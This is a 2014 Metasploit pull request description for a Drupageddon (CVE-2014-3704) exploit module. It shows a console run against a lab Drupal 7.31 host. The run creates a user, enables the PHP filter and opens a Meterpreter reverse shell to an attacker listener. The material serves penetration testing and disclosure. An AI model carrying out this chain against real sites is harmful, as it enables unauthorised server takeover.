rapid7/metasploit-framework — pull request #4037 by brandonprry (2014-10-16 21:45:53+00:00)
Title: Create drupal_drupageddon.rb -- CVE-2014-3704

This pull request is slightly preliminary, this is a non-destructive module to achieve a remote shell on vulnerable Drupal instance between 7.0 and 7.31 (was fixed in 7.32).

@FireFart is working on getting the password hash dynamic, so currently the module uses a hardcoded password hash for 'test'

```
msf exploit(drupal_drupageddon) > show options

Module options (exploit/multi/http/drupal_drupageddon):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 172.31.16.43 yes The target address
RPORT 80 yes The target port
TARGETURI /drupal-7.31/ yes The target URI of the Drupal installation
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.31.16.25 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Drupal 7.0 - 7.31

msf exploit(drupal_drupageddon) > exploit

[*] Started reverse handler on 172.31.16.25:4444
[*] 172.31.16.43:80 - Testing page
[*] 172.31.16.43:80 - Creating new user LGwEPljwqb:test
[*] 172.31.16.43:80 - Logging in as LGwEPljwqb:test
[*] 172.31.16.43:80 - Trying to parse enabled modules
[*] 172.31.16.43:80 - Enabling the PHP filter module
[*] 172.31.16.43:80 - Setting permissions for PHP filter module
[*] 172.31.16.43:80 - Getting tokens from create new article page
[*] 172.31.16.43:80 - Calling preview page. Exploit should trigger...
[*] Sending stage (40551 bytes) to 172.31.16.43
[*] Meterpreter session 8 opened (172.31.16.25:4444 -> 172.31.16.43:60470) at 2014-10-15 19:30:06 -0700

meterpreter > getuid
Server username: www-data (33)
meterpreter >
```